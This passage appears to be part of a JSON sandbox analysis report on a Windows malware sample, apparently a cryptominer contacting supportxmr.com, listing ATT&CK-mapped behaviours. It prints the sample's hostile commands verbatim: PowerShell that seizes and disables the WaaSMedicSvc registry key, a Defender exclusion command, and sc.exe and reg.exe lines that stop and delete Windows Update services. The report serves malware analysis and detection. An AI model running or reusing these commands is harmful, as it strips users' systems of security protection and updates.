\"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-437","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"$54","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"Found string \"ping\" (Indicator: \"ping\"; Source: \"00000000-00002720.00000000.178880.CFBF0000.00000004.mdmp, 00000000-00002720.00000001.179099.0C8B0000.00000004.mdmp, 00000000-00002720.00000001.179099.CFBF0000.00000004.mdmp\")\n Found string \"ping\" (Indicator: \"ping\"; Source: \"00000000-00003776.00000000.181030.8E070000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":7,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Retrieves specified items using PowerShell","description":"Process \"powershell.exe\" with commandline \"$key='HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\WaaSMedicSvc';$acl=Get-Acl $key;$admin=New-Object System.Security.Principal.NTAccount('BUILTIN','Administrators');$acl.SetOwner($admin);$rule=New-Object System.Security.AccessControl.RegistryAccessRule($admin,'FullControl','Allow');$acl.SetAccessRule($rule);Set-Acl $key $acl;Set-ItemProperty $key -Name 'Start' -Value 4 -Type DWord\" (UID: 00000000-00002720)","origin":"Monitored Target","mitre_attack_id":"T1082","relevance":1,"id":"target-477","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"System Security","name":"Able to access control system service controller","description":"Found string \"System.ServiceProcess.ServiceController\" (Source: \"00000000-00002720.00000001.179099.17A9A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-936","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"System Security","name":"Able to change the configuration parameters of a service","description":"Found string \"ChangeServiceConfigW\" (Indicator: \"changeserviceconfigw\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-10073","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"System Security","name":"Able to delete registry key/value (API string)","description":"Found registry deletion API: \"RegDeleteValueW\" in \"00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp\"\n Found registry deletion API: \"RegDeleteKeyExW\" in \"00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp\"\n Found registry deletion API: \"RegDeleteValueW\" in \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\"\n Found registry deletion API: \"RegDeleteKeyW\" in \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00005432)\n \"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00002720)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"$55","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"System Security","name":"Contains ability to bypass UAC using COM object (API string)","description":"Found reference to API \"CoGetObject\" (Indicator: \"CoGetObject\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1548.002","relevance":1,"id":"string-239","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"System Security","name":"Contains ability to create/modify item values (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Set-ItemProperty\"; File: \"00000000-00002720\")\n file/memory contains long string with (Indicator: \"Set-ItemProperty\"; File: \"powershell.exe\")\n file/memory contains long string with (Indicator: \"Set-ItemProperty\"; Source: \"00000000-00002720.00000000.178880.CFBF0000.00000004.mdmp, 00000000-00002720.00000001.179099.CFBF0000.00000004.mdmp\")\n file/memory contains long string with (Indicator: \"Set-ItemProperty\"; Source: \"00000000-00002720.00000000.178880.CFBF0000.00000004.mdmp, 00000000-00002720.00000001.179099.CFBF0000.00000004.mdmp, 00000000-00002720.00000001.179099.E8AF0000.00000004.mdmp, 00000000-00002720.00000001.179099.E92D0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-367","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; Source: \"00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp\")\n Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")\n Found reference to API \"RemoveDirectoryW\" (Indicator: \"RemoveDirectory\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"System Security","name":"Contains ability to disable Windows Defender using PowerShell","description":"Found string \"DisableRealtimeMonitoring\" (Indicator: \"disablerealtimemonitoring\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")\n Found string \"DisableBehaviorMonitoring\" (Indicator: \"disablebehaviormonitoring\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")\n Found string \"DisableIOAVProtection\" (Indicator: \"disableioavprotection\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")\n Found string \"DisableScriptScanning\" (Indicator: \"disablescriptscanning\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")\n Found string \"DisableBlockAtFirstSeen\" (Indicator: \"disableblockatfirstseen\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-748","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"Found reference to API \"SeBackupPrivilege\" (Indicator: \"SeBackupPrivilege\"; Source: \"00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp\")\n Found reference to API \"AdjustTokenPrivileges\" (Indicator: \"AdjustTokenPrivileges\"; Source: \"00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp\")\n Found reference to API \"LookupPrivilegeValueW\" (Indicator: \"LookupPrivilegeValue\"; Source: \"00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify file attributes (API string)","description":"Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1222","relevance":1,"id":"string-426","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"$56","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"CorExitProcess\" (Indicator: \"ExitProcess\"; File: \"00000000-00004180.00000001.176990.40239000.00000020.mdmp\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"System Security","name":"Contains ability to use security policy setting (API string)","description":"Found reference to API \"SeRestorePrivilege\" (Indicator: \"SeRestorePrivilege\"; Source: \"00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1548","relevance":3,"id":"string-97","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"$57","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"powershell.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$58","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"System Security","name":"References device drivers used by rootkit malware","description":"Found string \"\\Device\\HarddiskVolume2\\DosDevices\\C:\\??\\Volume{815ead30-0000-0000-0000-501f00000000}\" (Indicator: \"\\DosDevices\\c:\"; Source: \"00000000-00002720.00000000.178880.E92D0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1014","relevance":1,"id":"string-458","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"System Security","name":"Uses powershell with a add-mppreference commandline param","description":"Process \"powershell.exe\" with commandline \"Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData, $env:TEMP) -ExclusionExtension @('.exe', '.sys') -Force\" (UID: 00000000-00005432)","origin":"Monitored Target","mitre_attack_id":"T1562","relevance":3,"id":"target-236","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"$59","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to set/modify configuration (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Set-Acl\"; File: \"00000000-00002720\")\n file/memory contains long string with (Indicator: \"Set-Acl\"; File: \"powershell.exe\")\n file/memory contains long string with (Indicator: \"Set-Acl\"; Source: \"00000000-00002720.00000000.178880.CFBF0000.00000004.mdmp, 00000000-00002720.00000001.179099.CFBF0000.00000004.mdmp\")\n file/memory contains long string with (Indicator: \"Set-Acl\"; Source: \"00000000-00002720.00000000.178880.CFBF0000.00000004.mdmp, 00000000-00002720.00000001.179099.CFBF0000.00000004.mdmp, 00000000-00002720.00000001.179099.E8AF0000.00000004.mdmp, 00000000-00002720.00000001.179099.E92D0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-395","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"Found reference to API \"CreateMutexW\" (Indicator: \"CreateMutex\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")\n Found reference to API \"ReleaseMutex\" (Indicator: \"ReleaseMutex\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Unusual Characteristics","name":"Set/modify configurations using PowerShell","description":"Process \"powershell.exe\" with commandline \"$key='HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\WaaSMedicSvc';$acl=Get-Acl $key;$admin=New-Object System.Security.Principal.NTAccount('BUILTIN','Administrators');$acl.SetOwner($admin);$rule=New-Object System.Security.AccessControl.RegistryAccessRule($admin,'FullControl','Allow');$acl.SetAccessRule($rule);Set-Acl $key $acl;Set-ItemProperty $key -Name 'Start' -Value 4 -Type DWord\" (UID: 00000000-00002720)","origin":"Monitored Target","mitre_attack_id":"T1543.003","relevance":3,"id":"target-479","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 5432)\n \"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 2720)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Section contains high entropy","description":"\"SecuriteInfo.com.Win64.Evo-gen.49237433.exe\" has section name .O.\n with entropy \"7.982012880699863\"\n \"LockAppHost14a02b.exe\" has section name .O.\n with entropy \"7.982012880699863\"","origin":"Static Parser","mitre_attack_id":"T1027.009","relevance":1,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"suspicious","category":"Environment Awareness","name":"Queries process mitigation policy via NtQueryInformationProcess","description":"\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" queried ProcessMitigationPolicy","origin":"API Call","mitre_attack_id":"T1497.001","relevance":1,"id":"api-323","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"15/24 Antivirus vendors marked sample as malicious (62% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"suspicious","category":"General","name":"POSTs data to a web server","description":"$5a","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"\"LockAppHost14a02b.exe\" has type \"PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections\"- Location: [%ALLUSERSPROFILE%\\Microsoft\\Network\\Diagnostics\\73BF5F50\\LockAppHost14a02b.exe]- [targetUID: 00000000-00004180]","origin":"Binary File","mitre_attack_id":"T1105","relevance":5,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 104.26.5.88 on port 443 is sent without HTTP header\n TCP traffic to 104.18.25.75 on port 443 is sent without HTTP header\n TCP traffic to 104.243.33.118 on port 443 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"SecuriteInfo.com.Win64.Evo-gen.49237433.exe\" marked \"C:\\SecuriteInfo.com.Win64.Evo-gen.49237433.exe\" for deletion\n \"powershell.exe\" marked \"C:\\Windows\\Temp\\__PSScriptPolicyTest_03ih1w12.vke.ps1\" for deletion\n \"powershell.exe\" marked \"C:\\Windows\\Temp\\__PSScriptPolicyTest_hpfjq3cb.cyy.psm1\" for deletion\n \"powershell.exe\" marked \"C:\\Windows\\Temp\\__PSScriptPolicyTest_zfn42em1.zcu.ps1\" for deletion\n \"powershell.exe\" marked \"C:\\Windows\\Temp\\__PSScriptPolicyTest_55oqpyu0.mer.psm1\" for deletion","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"SecuriteInfo.com.Win64.Evo-gen.49237433.exe\" opened \"C:\\SecuriteInfo.com.Win64.Evo-gen.49237433.exe\" with delete access\n \"powershell.exe\" opened \"C:\\Windows\\Temp\\__PSScriptPolicyTest_03ih1w12.vke.ps1\" with delete access\n \"powershell.exe\" opened \"C:\\Windows\\Temp\\__PSScriptPolicyTest_hpfjq3cb.cyy.psm1\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"powershell.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"0100000000\")","origin":"Registry Access","mitre_attack_id":"T1090.001","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Entrypoint in PE header is within an uncommon section","description":"\"SecuriteInfo.com.Win64.Evo-gen.49237433.exe\" has an entrypoint in section \".O.,\"\n \"LockAppHost14a02b.exe\" has an entrypoint in section \".O.,\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-4","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Attempts to modify scheduled tasks","description":"$5b","origin":"Monitored Target","mitre_attack_id":"T1036.004","relevance":5,"id":"target-494","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Windows system process connects to a network","description":"Process \"svchost.exe\" connects to 104.243.33.118:443","origin":"Monitored Target","mitre_attack_id":"T1055","relevance":7,"id":"target-269","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"malicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_100% (D)","origin":"External System","relevance":10,"id":"avtest-8","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"15/24 Antivirus vendors marked sample as malicious (62% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a trusted antivirus engine","description":"Trusted antivirus vendors count marked sample as malicious (count = 2)","origin":"External System","mitre_attack_id":"T1204.002","relevance":10,"id":"avtest-5","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"malicious","category":"General","name":"The analysis extracted a file that was identified as malicious","description":"15/24 Antivirus vendors marked dropped file \"LockAppHost14a02b.exe\" as malicious (classified as \"Win64.VMProtect\" with 62% detection rate)","origin":"Binary File","mitre_attack_id":"T1204.002","relevance":10,"id":"binary-11","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"malicious","category":"Installation/Persistence","name":"Drops executable files to the application program directory (%ProgramData%)","description":"File type \"PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections\" was dropped at \"%ALLUSERSPROFILE%\\Microsoft\\Network\\Diagnostics\\73BF5F50\\LockAppHost14a02b.exe\"","origin":"Binary File","mitre_attack_id":"T1036","relevance":7,"id":"binary-27","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"malicious","category":"Installation/Persistence","name":"Loads the task scheduler COM API","description":"\"schtasks.exe\" loaded module \"%WINDIR%\\System32\\taskschd.dll\" at 8C010000","origin":"Loaded Module","mitre_attack_id":"T1559.001","relevance":5,"id":"module-4","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"\"SecuriteInfo.com.Win64.Evo-gen.49237433.exe\" wrote 00000FB8 bytes to a remote process \"C:\\Windows\\System32\\sc.exe\" (Handle: 340)\n \"SecuriteInfo.com.Win64.Evo-gen.49237433.exe\" wrote 00000008 bytes to a remote process \"C:\\Windows\\System32\\sc.exe\" (Handle: 340)\n \"SecuriteInfo.com.Win64.Evo-gen.49237433.exe\" wrote 00000FB8 bytes to a remote process \"C:\\Windows\\System32\\sc.exe\" (Handle: 336)\n \"SecuriteInfo.com.Win64.Evo-gen.49237433.exe\" wrote 00000008 bytes to a remote process \"C:\\Windows\\System32\\sc.exe\" (Handle: 336)","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"malicious","category":"Network Related","name":"Application communicates with a malicious domain","description":"Contacted Domain: \"supportxmr.com\" has been identified as malicious","origin":"Network Traffic","mitre_attack_id":"T1566","relevance":10,"id":"network-88","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"malicious","category":"System Security","name":"Starts service using SC.exe","description":"Process \"sc.exe\" with commandline \"start \"MicrosoftEdgeUpdateTaskMachine_3aa5\"\" (UID: 00000000-00004544)","origin":"Monitored Target","mitre_attack_id":"T1569.002","relevance":10,"id":"target-303","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"malicious","category":"System Security","name":"Stops or deletes service using sc.exe","description":"Process \"sc.exe\" with commandline \"delete \"MicrosoftEdgeUpdateTaskMachine_3aa5\"\" (UID: 00000000-00007848)\n Process \"sc.exe\" with commandline \"stop WaaSMedicSvc\" (UID: 00000000-00006676)\n Process \"sc.exe\" with commandline \"stop UsoSvc\" (UID: 00000000-00003696)\n Process \"sc.exe\" with commandline \"stop WaaSMedicSvc\" (UID: 00000000-00007828)\n Process \"sc.exe\" with commandline \"stop wuauserv\" (UID: 00000000-00006940)\n Process \"sc.exe\" with commandline \"stop BITS\" (UID: 00000000-00001444)\n Process \"sc.exe\" with commandline \"stop dosvc\" (UID: 00000000-00004684)\n Process \"sc.exe\" with commandline \"delete \"RasConnectionManager_9d4d\"\" (UID: 00000000-00006612)","origin":"Monitored Target","mitre_attack_id":"T1489","relevance":10,"id":"target-150","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"malicious","category":"System Security","name":"Tries to delete registry keys using reg.exe","description":"Process \"reg.exe\" with commandline \"delete \"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\UsoSvc\" /f\" (UID: 00000000-00003776)\n Process \"reg.exe\" with commandline \"delete \"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\WaaSMedicSvc\" /f\" (UID: 00000000-00004600)\n Process \"reg.exe\" with commandline \"delete \"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\wuauserv\" /f\" (UID: 00000000-00007024)\n Process \"reg.exe\" with commandline \"delete \"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\BITS\" /f\" (UID: 00000000-00003756)\n Process \"reg.exe\" with commandline \"delete \"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\dosvc\" /f\" (UID: 00000000-00006932)","origin":"Monitored Target","mitre_attack_id":"T1112","relevance":5,"id":"target-24","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns many processes","description":"$5c","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]}],"incidents":[{"name":"Spyware","details_count":1,"details":[{"detail":"POSTs data to a web server"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"name":"Persistence","details_count":4,"details":[{"detail":"Writes data to a remote process"},{"detail":"Creates new processes"},{"detail":"Spawns many processes"},{"detail":"Drops executable files to the application program directory (%ProgramData%)"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"name":"Fingerprint","details_count":3,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries sensitive IE security settings"},{"detail":"Stops or deletes service using sc.exe"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"name":"Evasive","details_count":3,"details":[{"detail":"Marks file for deletion"},{"detail":"References security-related Windows services"},{"detail":"Attempts to modify scheduled tasks"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 11 domains and 11 hosts"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]}],"intel_graph":{"map":{"Domain:5a079f09a20a74891348b37ee6cd0439e53fc19ee2d447fda2cb315ec7e6903c":{"type":"Domain","value":"rpc.sentio.xyz","verdict":{"verdict":"unknown"}},"Domain:edge-consumer-static.azureedge.net":{"type":"Domain","value":"edge-consumer-static.azureedge.net"},"Domain:ib.adnxs.com":{"type":"Domain","value":"ib.adnxs.com"},"Domain:m.adnxs.com":{"type":"Domain","value":"m.adnxs.com"},"Domain:polygon-public.nodies.app":{"type":"Domain","value":"polygon-public.nodies.app"},"Domain:polygon.lava.build":{"type":"Domain","value":"polygon.lava.build"},"Domain:polygon.rpc.subquery.network":{"type":"Domain","value":"polygon.rpc.subquery.network"},"Domain:pool.supportxmr.com":{"type":"Domain","value":"pool.supportxmr.com"},"Domain:px.ads.linkedin.com":{"type":"Domain","value":"px.ads.linkedin.com"},"Domain:r.msftstatic.com":{"type":"Domain","value":"r.msftstatic.com"},"Domain:sb.scorecardresearch.com":{"type":"Domain","value":"sb.scorecardresearch.com"},"Domain:trc.taboola.com":{"type":"Domain","value":"trc.taboola.com"},"File:1409cc4125f7e08d09a731da789dc35c09afa8e716c00ad22d9f3f1b17a2cb33":{"type":"File","value":"1409cc4125f7e08d09a731da789dc35c09afa8e716c00ad22d9f3f1b17a2cb33"},"File:44b782158dca05e0447c47374ab45dc05dd9750cd05cc01d345925d2154d5439":{"type":"File","value":"44b782158dca05e0447c47374ab45dc05dd9750cd05cc01d345925d2154d5439"},"File:6eb31505864d096e5127cf54dea5dab85ab448fe2982bc78a2dc141e121efd99":{"type":"File","value":"6eb31505864d096e5127cf54dea5dab85ab448fe2982bc78a2dc141e121efd99"},"File:a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf":{"type":"File","value":"a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf"},"File:aaa5b19624b18bbe051b05d868b665b5e8988c338d079209cd84c2ebc31e16c2":{"type":"File","value":"aaa5b19624b18bbe051b05d868b665b5e8988c338d079209cd84c2ebc31e16c2","filetype":"PE32+ executable (GUI) x86-64, for MS Windows, 6 